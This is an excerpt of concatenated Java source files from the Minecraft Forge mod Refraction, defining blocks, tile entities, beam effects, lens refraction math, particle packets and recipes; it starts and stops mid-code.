EnumFacing facing, float hitX, float hitY, float hitZ) { ItemStack heldItem = playerIn.getHeldItem(hand); if (!worldIn.isRemote) { TileAssemblyTable table = getTE(worldIn, pos); if (table.behavior != null) { boolean allowedToEdit = table.behavior.canEditItems(table.inventory, table.output, table.craftingTime); if (allowedToEdit) table.behavior = null; else return true; } if (!table.output.getStackInSlot(0).isEmpty()) { ItemHandlerHelper.giveItemToPlayer(playerIn, table.output.extractItem(0, 64, false)); playerIn.openContainer.detectAndSendChanges(); } else if (!heldItem.isEmpty() && !playerIn.isSneaking()) { ItemStack stack = heldItem.copy(); stack.setCount(1); ItemStack insert = ItemHandlerHelper.insertItem(table.inventory, stack, false); if (insert.isEmpty()) heldItem.setCount(heldItem.getCount() - 1); playerIn.openContainer.detectAndSendChanges(); } else if (playerIn.isSneaking() && CapsUtils.getOccupiedSlotCount(table.inventory) > 0) { ItemHandlerHelper.giveItemToPlayer(playerIn, table.inventory.extractItem(CapsUtils.getLastOccupiedSlot(table.inventory), 1, false)); playerIn.openContainer.detectAndSendChanges(); } table.markDirty(); } return true; } @Override public void breakBlock(@Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull IBlockState state) { TileAssemblyTable table = (TileAssemblyTable) worldIn.getTileEntity(pos); if (table != null) { for (ItemStack stack : CapsUtils.getListOfItems(table.inventory)) InventoryHelper.spawnItemStack(worldIn, pos.getX(), pos.getY(), pos.getZ(), stack); for (ItemStack stack : CapsUtils.getListOfItems(table.output)) InventoryHelper.spawnItemStack(worldIn, pos.getX(), pos.getY(), pos.getZ(), stack); } super.breakBlock(worldIn, pos, state); } @Override public boolean canRenderInLayer(IBlockState state, BlockRenderLayer layer) { return layer == BlockRenderLayer.CUTOUT; } @Override @SuppressWarnings("deprecation") public boolean isFullCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isOpaqueCube(IBlockState blockState) { return false; } @Nullable @Override public TileEntity createTileEntity(@Nonnull World world, @Nonnull IBlockState iBlockState) { return new TileAssemblyTable(); } @Override public boolean isToolEffective(String type, @Nonnull IBlockState state) { return super.isToolEffective(type, state) || Objects.equals(type, ItemScrewDriver.SCREWDRIVER_TOOL_CLASS); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.refraction.api.beam.Effect; import com.teamwizardry.refraction.common.effect.EffectAttract; import com.teamwizardry.refraction.init.ModBlocks; import net.minecraft.block.material.Material; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import javax.annotation.Nonnull; /** * Created by Saad on 8/16/2016. */ public class BlockLightBridge extends BlockLightBridgeBase { public BlockLightBridge() { super("light_bridge", Material.GLASS); setLightLevel(1f); } @Override protected boolean checkEffect(Effect effect){ return effect instanceof EffectAttract; } @Override protected BlockLightBridgeBase getBridgeBlock() { return ModBlocks.LIGHT_BRIDGE; } @Override public boolean shouldEmit(@Nonnull World world, @Nonnull BlockPos pos) { return true; } @Override public String getTranslationKey() { return "tile." + getRegistryName(); } } <file_sep>package com.teamwizardry.refraction.common.tile; import com.teamwizardry.librarianlib.features.autoregister.TileRegister; import com.teamwizardry.librarianlib.features.base.block.tile.TileMod; import com.teamwizardry.librarianlib.features.base.block.tile.TileModTickable; import com.teamwizardry.refraction.api.PosUtils; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.EffectTracker; import net.minecraft.block.BlockDirectional; import net.minecraft.util.EnumFacing; import net.minecraft.util.ITickable; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import java.awt.*; /** * Created by Demoniaque */ @TileRegister("creative_laser") public class TileCreativeLaser extends TileModTickable { @Override public void tick() { if (world.getTileEntity(pos) != this || world.isBlockPowered(pos) || world.getRedstonePowerFromNeighbors(pos) > 0) return; Vec3d center = new Vec3d(pos.getX() + 0.5, pos.getY() + 0.5, pos.getZ() + 0.5); EnumFacing face = world.getBlockState(pos).getValue(BlockDirectional.FACING); Vec3d vec = PosUtils.getVecFromFacing(face); new Beam(world, center, vec, EffectTracker.getEffect(Color.WHITE)).spawn(); } } <file_sep>package com.teamwizardry.refraction.common.network; import com.teamwizardry.librarianlib.features.math.interpolate.StaticInterp; import com.teamwizardry.librarianlib.features.math.interpolate.numeric.InterpFloatInOut; import com.teamwizardry.librarianlib.features.math.interpolate.position.InterpBezier3D; import com.teamwizardry.librarianlib.features.network.PacketBase; import com.teamwizardry.librarianlib.features.particle.ParticleBuilder; import com.teamwizardry.librarianlib.features.particle.ParticleSpawner; import com.teamwizardry.librarianlib.features.utilities.DimWithPos; import com.teamwizardry.refraction.Refraction; import com.teamwizardry.refraction.api.Constants; import io.netty.buffer.ByteBuf; import kotlin.Pair; import net.minecraft.util.ResourceLocation; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.MathHelper; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import net.minecraftforge.fml.common.network.simpleimpl.MessageContext; import org.jetbrains.annotations.NotNull; import java.awt.*; import java.util.HashMap; import java.util.Map; import java.util.concurrent.ThreadLocalRandom; public class PacketAXYZMarks extends PacketBase { public static final Map<DimWithPos, Pair<Vec3d, Vec3d>> controlPoints = new HashMap<>(); public BlockPos[] positions, originPositions; public int dimension; public PacketAXYZMarks() { // NO-OP } public PacketAXYZMarks(BlockPos[] positions, BlockPos[] origins, int dimension) { this.positions = positions; this.originPositions = origins; this.dimension = dimension; } @Override public void handle(@NotNull MessageContext ctx) { if (ctx.side.isServer()) return; World world = Refraction.proxy.getWorld(); if (world.provider.getDimension() != dimension) return; for (int i = 0; i < positions.length; i++) { BlockPos pos = positions[i], origin = originPositions[i]; double range = 5; controlPoints.putIfAbsent(new DimWithPos(world.provider.getDimension(), origin), new Pair<>( new Vec3d(ThreadLocalRandom.current().nextDouble(-range, range), ThreadLocalRandom.current().nextDouble(-range, range), ThreadLocalRandom.current().nextDouble(-range, range)), new Vec3d(ThreadLocalRandom.current().nextDouble(-range, range), ThreadLocalRandom.current().nextDouble(-range, range), ThreadLocalRandom.current().nextDouble(-range, range)))); boolean isAir = world.isAirBlock(pos); ParticleBuilder wormholeVoid = new ParticleBuilder(10); ParticleSpawner.spawn(wormholeVoid, world, new StaticInterp<>(new Vec3d(pos).add(0.5, 0.5, 0.5)), ThreadLocalRandom.current().nextInt(isAir ? 5 : 10, isAir ? 10 : 20), 0, (aFloat, particleBuilder) -> { wormholeVoid.setAlphaFunction(new InterpFloatInOut(0.2f, 0.2f)); wormholeVoid.setRenderNormalLayer(new ResourceLocation(Constants.MOD_ID, "particles/glow")); double radius = 0.4; double theta = 2.0f * (float) Math.PI * ThreadLocalRandom.current().nextFloat(); double r = radius * ThreadLocalRandom.current().nextFloat() + (isAir ? 0 : 0.5); double x = r * MathHelper.cos((float) theta); double z = r * MathHelper.sin((float) theta); wormholeVoid.setPositionOffset(new Vec3d(x, 0, z)); int rnd = ThreadLocalRandom.current().nextInt(0, 40); wormholeVoid.setColor(new Color(rnd, 0, rnd)); wormholeVoid.setScale((float) ThreadLocalRandom.current().nextDouble(1, 2)); wormholeVoid.setMotion(Vec3d.ZERO); }); ParticleBuilder wormholeHalo = new ParticleBuilder(15); ParticleSpawner.spawn(wormholeHalo, world, new StaticInterp<>(new Vec3d(pos).add(0.5, 0.5, 0.5)), ThreadLocalRandom.current().nextInt(isAir ? 5 : 20, isAir ? 10 : 30), 0, (aFloat, particleBuilder) -> { wormholeHalo.setAlphaFunction(new InterpFloatInOut(0.2f, 0.2f)); wormholeHalo.setRender(new ResourceLocation(Constants.MOD_ID, "particles/glow")); double r = isAir ? 0.5 : 1; double theta = 2.0f * (float) Math.PI * ThreadLocalRandom.current().nextFloat(); double x = r * MathHelper.cos((float) theta); double z = r * MathHelper.sin((float) theta); wormholeHalo.setPositionOffset(new Vec3d(x, 0, z)); wormholeHalo.setColor(new Color(72, 119, 122)); wormholeHalo.setScale((float) ThreadLocalRandom.current().nextDouble(1, 2)); }); ParticleBuilder generatorHalo = new ParticleBuilder(10); ParticleSpawner.spawn(generatorHalo, world, new StaticInterp<>(new Vec3d(origin).add(0.5, 0.5, 0.5)), ThreadLocalRandom.current().nextInt(5, 10), 0, (aFloat, particleBuilder) -> { generatorHalo.setAlphaFunction(new InterpFloatInOut(0.3f, 0.3f)); generatorHalo.setRender(new ResourceLocation(Constants.MOD_ID, "particles/glow")); double r = 0.5; double theta = 2.0f * (float) Math.PI * ThreadLocalRandom.current().nextFloat(); double x = r * MathHelper.cos((float) theta); double z = r * MathHelper.sin((float) theta); generatorHalo.setPositionOffset(new Vec3d(x, 0, z)); generatorHalo.setColor(new Color(72, 119, 122)); generatorHalo.setScale((float) ThreadLocalRandom.current().nextDouble(1, 2)); }); controlPoints.keySet().stream().filter(dimWithPos -> dimWithPos.getPos().toLong() == origin.toLong()).filter(dimWithPos -> ThreadLocalRandom.current().nextInt(5) == 0).forEachOrdered(dimWithPos -> { Pair<Vec3d, Vec3d> pair = controlPoints.get(dimWithPos); double shift = ThreadLocalRandom.current().nextDouble(0.1, 0.5); double p1r1 = pair.getFirst().x + ThreadLocalRandom.current().nextDouble(-shift, shift); double p1r2 = pair.getFirst().y + ThreadLocalRandom.current().nextDouble(-shift, shift); double p1r3 = pair.getFirst().z + ThreadLocalRandom.current().nextDouble(-shift, shift); Vec3d p1 = new Vec3d( p1r1 <= 2 ? p1r1 : pair.getFirst().x, p1r2 <= 2 ? p1r2 : pair.getFirst().y, p1r3 <= 2 ? p1r3 : pair.getFirst().z ); double p2r1 = pair.getSecond().x + ThreadLocalRandom.current().nextDouble(-shift, shift); double p2r2 = pair.getSecond().y + ThreadLocalRandom.current().nextDouble(-shift, shift); double p2r3 = pair.getSecond().z + ThreadLocalRandom.current().nextDouble(-shift, shift); Vec3d p2 = new Vec3d( p2r1 <= 2 ? p2r1 : pair.getSecond().x, p2r2 <= 2 ? p2r2 : pair.getSecond().y, p2r3 <= 2 ? p2r3 : pair.getSecond().z ); controlPoints.put(dimWithPos, new Pair<>(p1, p2)); ParticleBuilder connection = new ParticleBuilder(30); ParticleSpawner.spawn(connection, world, new StaticInterp<>(new Vec3d(origin).add(0.5, 0.5, 0.5)), ThreadLocalRandom.current().nextInt(1, 5), 0, (aFloat, particleBuilder) -> { connection.setAlphaFunction(new InterpFloatInOut(0.2f, 0.2f)); connection.setRender(new ResourceLocation(Constants.MOD_ID, "particles/glow")); Vec3d sub = new Vec3d(pos.subtract(origin)); connection.setPositionFunction(new InterpBezier3D(Vec3d.ZERO, sub, controlPoints.get(dimWithPos).getFirst(), controlPoints.get(dimWithPos).getSecond())); connection.setColor(new Color(72, 119, 122)); connection.setScale((float) ThreadLocalRandom.current().nextDouble(1, 2)); }); }); } } @Override public void toBytes(@NotNull ByteBuf buf) { buf.writeInt(positions.length); for (int i = 0; i < positions.length; i++) { buf.writeLong(positions[i].toLong()); buf.writeLong(originPositions[i].toLong()); } buf.writeInt(dimension); } @Override public void fromBytes(@NotNull ByteBuf buf) { int len = buf.readInt(); positions = new BlockPos[len]; originPositions = new BlockPos[len]; for (int i = 0; i < len; i++) { positions[i] = BlockPos.fromLong(buf.readLong()); originPositions[i] = BlockPos.fromLong(buf.readLong()); } dimension = buf.readInt(); } } <file_sep>package com.teamwizardry.refraction.api.recipe; import net.minecraftforge.items.IItemHandler; import net.minecraftforge.items.IItemHandlerModifiable; import java.awt.*; /** * @author WireSegal * Created at 12:11 PM on 12/23/16. */ public interface IAssemblyBehavior { /** * Whether this behavior can be applied to this state. * * @param color The summed color being recieved by the table. * @param items The ItemStackHandler holding inputs, that can reasonably be assumed to have size 54. * @return Whether the behavior is valid for this state. */ boolean canAccept(Color color, IItemHandler items); /** * Update the recipe. * * @param color The summed color being received by the table. * @param items The ItemStackHandler holding inputs, that can reasonably be assumed to have size 54. * @param output The ItemStackHandler holding outputs, that can reasonably be assumed to have size 1. * @param ticks The number of ticks crafting has occurred for. * @return Whether to continue recipe processing. */ boolean tick(Color color, IItemHandlerModifiable items, IItemHandlerModifiable output, int ticks); /** * Check whether items are allowed to be edited by the player or insertion. * <p> * Note that if you return true from this, the behavior will be reset. * * @param items The ItemStackHandler holding inputs, that can reasonably be assumed to have size 54. * @param output The ItemStackHandler holding outputs, that can reasonably be assumed to have size 1. * @param ticks The number of ticks crafting has occurred for. * @return Whether items can be edited. */ boolean canEditItems(IItemHandlerModifiable items, IItemHandlerModifiable output, int ticks); } <file_sep>package com.teamwizardry.refraction.common.caps; import net.darkhax.tesla.api.ITeslaConsumer; import net.darkhax.tesla.api.ITeslaHolder; import net.darkhax.tesla.api.ITeslaProducer; import net.minecraft.nbt.NBTTagCompound; import net.minecraftforge.common.capabilities.Capability; import net.minecraftforge.common.capabilities.CapabilityInject; import net.minecraftforge.common.util.INBTSerializable; import net.minecraftforge.energy.EnergyStorage; import net.minecraftforge.fml.common.Optional; /** * @author WireSegal * Created at 2:02 PM on 12/11/16. */ @Optional.InterfaceList({ @Optional.Interface(iface = "net.darkhax.tesla.api.ITeslaHolder", modid = "tesla"), @Optional.Interface(iface = "net.darkhax.tesla.api.ITeslaConsumer", modid = "tesla"), @Optional.Interface(iface = "net.darkhax.tesla.api.ITeslaProducer", modid = "tesla") }) public class DualEnergyStorage extends EnergyStorage implements ITeslaHolder, ITeslaConsumer, ITeslaProducer, INBTSerializable<NBTTagCompound> { @CapabilityInject(ITeslaConsumer.class) public static Capability<?> CAPABILITY_CONSUMER = null; @CapabilityInject(ITeslaProducer.class) public static Capability<?> CAPABILITY_PRODUCER = null; @CapabilityInject(ITeslaHolder.class) public static Capability<?> CAPABILITY_HOLDER = null; public DualEnergyStorage(int capacity) { super(capacity); } public DualEnergyStorage(int capacity, int maxTransfer) { super(capacity, maxTransfer); } public DualEnergyStorage(int capacity, int maxReceive, int maxExtract) { super(capacity, maxReceive, maxExtract); } @Override @Optional.Method(modid = "tesla") public long givePower(long tesla, boolean simulate) { return receiveEnergy((int) tesla & 0xEFFFFFFF, simulate); } @Override @Optional.Method(modid = "tesla") public long getStoredPower() { return getEnergyStored(); } @Override @Optional.Method(modid = "tesla") public long getCapacity() { return getMaxEnergyStored(); } @Override @Optional.Method(modid = "tesla") public long takePower(long tesla, boolean simulate) { return extractEnergy((int) tesla & 0xEFFFFFFF, simulate); } @Override public NBTTagCompound serializeNBT() { NBTTagCompound compound = new NBTTagCompound(); compound.setInteger("energy", energy); compound.setInteger("capacity", capacity); compound.setInteger("maxReceive", maxReceive); compound.setInteger("maxExtract", maxExtract); return compound; } @Override public void deserializeNBT(NBTTagCompound nbt) { energy = nbt.getInteger("energy"); capacity = nbt.getInteger("capacity"); maxReceive = nbt.getInteger("maxReceive"); maxExtract = nbt.getInteger("maxExtract"); } } <file_sep>package com.teamwizardry.refraction.common.effect; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.api.beam.Effect; import com.teamwizardry.refraction.api.beam.EffectTracker; import net.minecraft.block.state.IBlockState; import net.minecraft.entity.Entity; import net.minecraft.entity.EntityLivingBase; import net.minecraft.entity.item.EntityFallingBlock; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import net.minecraftforge.event.entity.player.PlayerInteractEvent; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import javax.annotation.Nonnull; import java.awt.*; import static com.teamwizardry.refraction.api.beam.EffectTracker.gravityReset; /** * Created by Demoniaque. */ public class EffectGravity extends Effect { @Nonnull protected Color getEffectColor() { return new Color(0x0080FF); } @Override public EffectType getType() { return EffectType.BEAM; } @Override public void runEntity(World world, Entity entity, int potency) { if(entity instanceof EntityLivingBase && Utils.entityWearsFullReflective((EntityLivingBase)entity)) return; if (entity instanceof EntityFallingBlock) return; entity.setNoGravity(true); gravityReset.put(entity, 30); entity.fallDistance = 0; if (entity instanceof EntityPlayer) ((EntityPlayer) entity).velocityChanged = true; } @Override public void runBlock(World world, BlockPos pos, int potency) { if (world.isAirBlock(pos)) return; EffectTracker.gravityProtection.put(pos, 50); IBlockState state = world.getBlockState(pos); if (world.isAirBlock(pos.down())) { double hardness = state.getBlockHardness(world, pos); if (hardness >= 0 && hardness * 64 < potency && world.getTileEntity(pos) == null) { EntityFallingBlock falling = new EntityFallingBlock(world, pos.getX() + 0.5, pos.getY() + 0.5, pos.getZ() + 0.5, state); falling.fallTime = 1; world.setBlockToAir(pos); world.spawnEntity(falling); } } } @SubscribeEvent public void interact1(PlayerInteractEvent.RightClickBlock event) { if (EffectTracker.gravityProtection.containsKey(event.getPos())) event.setCanceled(true); } @SubscribeEvent public void interact2(PlayerInteractEvent.LeftClickBlock event) { if (EffectTracker.gravityProtection.containsKey(event.getPos())) event.setCanceled(true); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.tile.BlockModContainer; import com.teamwizardry.librarianlib.features.utilities.client.TooltipHelper; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.common.item.ItemScrewDriver; import com.teamwizardry.refraction.common.tile.TileMagnifier; import net.minecraft.block.SoundType; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.client.util.ITooltipFlag; import net.minecraft.item.ItemStack; import net.minecraft.tileentity.TileEntity; import net.minecraft.util.BlockRenderLayer; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.util.List; import java.util.Objects; /** * Created by Demoniaque */ public class BlockMagnifier extends BlockModContainer implements ILightSink { public BlockMagnifier() { super("magnifier", Material.IRON); setHardness(1F); setSoundType(SoundType.METAL); setTickRandomly(true); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { return false; } @Nonnull @Override public BlockRenderLayer getRenderLayer() { return BlockRenderLayer.TRANSLUCENT; } @Override public void addInformation(ItemStack stack, @Nullable World worldIn, List<String> tooltip, ITooltipFlag flagIn) { TooltipHelper.addToTooltip(tooltip, "simple_name." + Constants.MOD_ID + ":" + getRegistryName().getPath()); } @Override @SuppressWarnings("deprecation") public boolean isFullCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isOpaqueCube(IBlockState blockState) { return false; } @Nullable @Override public TileEntity createTileEntity(@Nonnull World world, @Nonnull IBlockState iBlockState) { return new TileMagnifier(); } @Override public boolean isToolEffective(String type, @Nonnull IBlockState state) { return super.isToolEffective(type, state) || Objects.equals(type, ItemScrewDriver.SCREWDRIVER_TOOL_CLASS); } } <file_sep>package com.teamwizardry.refraction.api; import net.minecraft.item.ItemStack; import javax.annotation.Nonnull; /** * Created by Demoniaque. */ public interface IAmmo { boolean hasColor(@Nonnull ItemStack stack); int getInternalColor(@Nonnull ItemStack stack); boolean drain(@Nonnull ItemStack stack, int amount, boolean simulate); float remainingPercentage(@Nonnull ItemStack stack); } <file_sep>package com.teamwizardry.refraction.init.recipies; import com.teamwizardry.librarianlib.features.helpers.ItemNBTHelper; import com.teamwizardry.refraction.init.ModItems; import net.minecraft.inventory.InventoryCrafting; import net.minecraft.item.ItemStack; import net.minecraft.item.crafting.IRecipe; import net.minecraft.util.NonNullList; import net.minecraft.world.World; import net.minecraftforge.common.ForgeHooks; import net.minecraftforge.registries.IForgeRegistryEntry; import org.jetbrains.annotations.NotNull; import javax.annotation.Nullable; /** * Created by Saad on 6/13/2016. */ public class RecipeScrewDriver extends IForgeRegistryEntry.Impl<IRecipe> implements IRecipe { @Override public boolean matches(InventoryCrafting inv, World worldIn) { boolean foundBaseItem = false; for (int i = 0; i < inv.getSizeInventory(); i++) { ItemStack stack = inv.getStackInSlot(i); if (!stack.isEmpty()) { if (stack.getItem() == ModItems.SCREW_DRIVER) { foundBaseItem = true; break; } } } return foundBaseItem; } @Nullable @Override public ItemStack getCraftingResult(InventoryCrafting inv) { ItemStack baseItem = null; for (int i = 0; i < inv.getSizeInventory(); i++) { ItemStack stack = inv.getStackInSlot(i); if (!stack.isEmpty()) if (stack.getItem() == ModItems.SCREW_DRIVER) { baseItem = stack; break; } } if (baseItem == null) return null; ItemStack baseItemCopy = baseItem.copy(); ItemNBTHelper.setBoolean(baseItemCopy, "invertX", !ItemNBTHelper.getBoolean(baseItemCopy, "invertX", true)); return baseItemCopy; } @Override public boolean canFit(int width, int height) { return true; } @Override public ItemStack getRecipeOutput() { return ItemStack.EMPTY; } @NotNull @Override public NonNullList<ItemStack> getRemainingItems(InventoryCrafting inv) { return ForgeHooks.defaultRecipeGetRemainingItems(inv); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockMod; import com.teamwizardry.librarianlib.features.math.Matrix4; import com.teamwizardry.librarianlib.features.utilities.client.TooltipHelper; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.api.raytrace.ILaserTrace; import com.teamwizardry.refraction.api.raytrace.Tri; import com.teamwizardry.refraction.common.item.ItemScrewDriver; import net.minecraft.block.Block; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.client.util.ITooltipFlag; import net.minecraft.item.ItemStack; import net.minecraft.util.BlockRenderLayer; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.AxisAlignedBB; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Vec3d; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.awt.*; import java.util.List; import java.util.Objects; /** * Created by Demoniaque. */ public class BlockLens extends BlockMod implements ILaserTrace, ILightSink { public BlockLens() { super("lens", Material.GLASS); setHardness(1F); } public static Vec3d refracted(double from, double to, Vec3d vec, Vec3d normal) { double ratio = from / to; double mag = normal.crossProduct(vec).lengthSquared(); Vec3d first = normal.scale(-1).crossProduct(vec); first = normal.crossProduct(first).scale(ratio); Vec3d second = normal.scale(Math.sqrt(1 - ratio*ratio*mag)); return first.subtract(second); } public static void showBeam(World world, Vec3d start, Vec3d end, Color color) { //if (!world.isRemote) // PacketHandler.NETWORK.sendToAllAround(new PacketLaserFX(start, end, color), // new NetworkRegistry.TargetPoint(world.provider.getDimension(), start.xCoord, start.yCoord, start.zCoord, 50)); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { if(beam.isAesthetic()) return true; IBlockState state = world.getBlockState(pos); fireColor(world, pos, state, beam.finalLoc, beam.finalLoc.subtract(beam.initLoc).normalize(), ConfigValues.GLASS_IOR, beam); return true; } private void fireColor(World world, BlockPos pos, IBlockState state, Vec3d hitPos, Vec3d ref, double IORMod, Beam beam) { BlockPrism.RayTraceResultData<Vec3d> r = collisionRayTraceLaser(state, world, pos, hitPos.subtract(ref), hitPos.add(ref)); if (r != null && r.data != null) { Vec3d normal = r.data; ref = refracted(ConfigValues.AIR_IOR + IORMod, ConfigValues.GLASS_IOR + IORMod, ref, normal).normalize(); hitPos = r.hitVec; for (int i = 0; i < 5; i++) { r = collisionRayTraceLaser(state, world, pos, hitPos.add(ref), hitPos); // trace backward so we don't hit hitPos first if (r != null && r.data != null) { normal = r.data.scale(-1); Vec3d oldRef = ref; ref = refracted(ConfigValues.GLASS_IOR + IORMod, ConfigValues.AIR_IOR + IORMod, ref, normal).normalize(); if (Double.isNaN(ref.x) || Double.isNaN(ref.y) || Double.isNaN(ref.z)) { ref = oldRef; // it'll bounce back on itself and cause a NaN vector, that means we should stop break; } showBeam(world, hitPos, r.hitVec, beam.getColor()); hitPos = r.hitVec; } } beam.createSimilarBeam(hitPos, ref).spawn(); } } @Override public BlockPrism.RayTraceResultData<Vec3d> collisionRayTraceLaser(@Nonnull IBlockState blockState, @Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull Vec3d startRaw, @Nonnull Vec3d endRaw) { EnumFacing facing = EnumFacing.UP; Matrix4 matrixA = new Matrix4(); Matrix4 matrixB = new Matrix4(); switch (facing) { case UP: case DOWN: case EAST: break; case NORTH: matrixA.rotate(Math.toRadians(270), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(270), new Vec3d(0, 1, 0)); break; case SOUTH: matrixA.rotate(Math.toRadians(90), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(90), new Vec3d(0, 1, 0)); break; case WEST: matrixA.rotate(Math.toRadians(180), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(180), new Vec3d(0, 1, 0)); break; } Vec3d a = new Vec3d(0.001, 0.001, 0), // This needs to be offset b = new Vec3d(1, 0.001, 0.5), c = new Vec3d(0.001, 0.001, 1), // and this too. Just so that blue refracts in ALL cases A = a.add(0, 0.998, 0), B = b.add(0, 0.998, 0), // these y offsets are to fix translocation issues C = c.add(0, 0.998, 0); Tri[] tris = new Tri[]{ new Tri(a, b, c), new Tri(A, C, B), new Tri(a, c, C), new Tri(a, C, A), new Tri(a, A, B), new Tri(a, B, b), new Tri(b, B, C), new Tri(b, C, c), }; Vec3d start = matrixA.apply(startRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Vec3d end = matrixA.apply(endRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Tri hitTri = null; Vec3d hit = null; double shortestSq = Double.POSITIVE_INFINITY; for (Tri tri : tris) { Vec3d v = tri.trace(start, end); if (v != null) { double distSq = start.subtract(v).lengthSquared(); if (distSq < shortestSq) { hit = v; shortestSq = distSq; hitTri = tri; } } } if (hit == null) return null; return new BlockPrism.RayTraceResultData<Vec3d>(matrixB.apply(hit.subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5).add(new Vec3d(pos)), EnumFacing.UP, pos).data(matrixB.apply(hitTri.normal())); } @Override @SuppressWarnings("deprecation") public @Nonnull AxisAlignedBB getBoundingBox(IBlockState state, IBlockAccess world, BlockPos pos) { return new AxisAlignedBB(0, 0, 0, 1, 0.5, 1); } @Override public void addInformation(ItemStack stack, @Nullable World worldIn, List<String> tooltip, ITooltipFlag flagIn) { TooltipHelper.addToTooltip(tooltip, "simple_name." + Constants.MOD_ID + ":" + getRegistryName().getPath()); } @SuppressWarnings("deprecation") @SideOnly(Side.CLIENT) public boolean shouldSideBeRendered(IBlockState blockState, @Nonnull IBlockAccess blockAccess, @Nonnull BlockPos pos, EnumFacing side) { if (side.getHorizontalIndex() >= 0) { // is horizontal IBlockState iblockstate = blockAccess.getBlockState(pos.offset(side)); Block block = iblockstate.getBlock(); if (block == this) { return false; } } return super.shouldSideBeRendered(blockState, blockAccess, pos, side); } @Nonnull @Override public BlockRenderLayer getRenderLayer() { return BlockRenderLayer.TRANSLUCENT; } @Override @SuppressWarnings("deprecation") public boolean isFullCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isOpaqueCube(IBlockState blockState) { return false; } @Override public boolean isToolEffective(String type, @Nonnull IBlockState state) { return super.isToolEffective(type, state) || Objects.equals(type, ItemScrewDriver.SCREWDRIVER_TOOL_CLASS); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockModDirectional; import net.minecraft.block.material.Material; /** * Created by Demoniaque. */ public class BlockProjector extends BlockModDirectional { public BlockProjector() { super("projector", Material.IRON, true); } } <file_sep>package com.teamwizardry.refraction.common.proxy; import com.teamwizardry.librarianlib.features.config.EasyConfigHandler; import com.teamwizardry.librarianlib.features.network.PacketHandler; import com.teamwizardry.refraction.Refraction; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.api.internal.ClientRunnable; import com.teamwizardry.refraction.api.soundmanager.SoundManager; import com.teamwizardry.refraction.client.gui.GuiHandler; import com.teamwizardry.refraction.common.core.CatChaseHandler; import com.teamwizardry.refraction.common.core.DispenserScrewDriverBehavior; import com.teamwizardry.refraction.common.core.EventHandler; import com.teamwizardry.refraction.common.mt.MTRefractionPlugin; import com.teamwizardry.refraction.common.network.*; import com.teamwizardry.refraction.init.*; import com.teamwizardry.refraction.init.recipies.CraftingRecipes; import com.teamwizardry.refraction.init.recipies.ModAssemblyRecipes; import net.minecraft.block.BlockDispenser; import net.minecraft.world.World; import net.minecraftforge.fml.common.FMLCommonHandler; import net.minecraftforge.fml.common.Loader; import net.minecraftforge.fml.common.event.FMLInitializationEvent; import net.minecraftforge.fml.common.event.FMLPostInitializationEvent; import net.minecraftforge.fml.common.event.FMLPreInitializationEvent; import net.minecraftforge.fml.common.event.FMLServerStartingEvent; import net.minecraftforge.fml.common.network.NetworkRegistry; import net.minecraftforge.fml.relauncher.Side; /** * Created by Demoniaque */ public class CommonProxy { public void preInit(FMLPreInitializationEvent event) { Utils.HANDLER = new RefractionInternalHandler(); CatChaseHandler.INSTANCE.getClass(); // load the class ModSounds.init(); ModTab.init(); ModBlocks.init(); ModItems.init(); ModEntities.init(); ModEffects.init(); EventHandler.INSTANCE.getClass(); SoundManager.INSTANCE.getClass(); EasyConfigHandler.init(); //NetworkRegistry.INSTANCE.registerGuiHandler(Refraction.instance, new GuiHandler()); //unused anyway PacketHandler.register(PacketLaserFX.class, Side.CLIENT); PacketHandler.register(PacketAXYZMarks.class, Side.CLIENT); PacketHandler.register(PacketAssemblyProgressParticles.class, Side.CLIENT); PacketHandler.register(PacketAssemblyDoneParticles.class, Side.CLIENT); PacketHandler.register(PacketBeamParticle.class, Side.CLIENT); PacketHandler.register(PacketAmmoColorChange.class, Side.SERVER); PacketHandler.register(PacketLaserDisplayTick.class, Side.CLIENT); 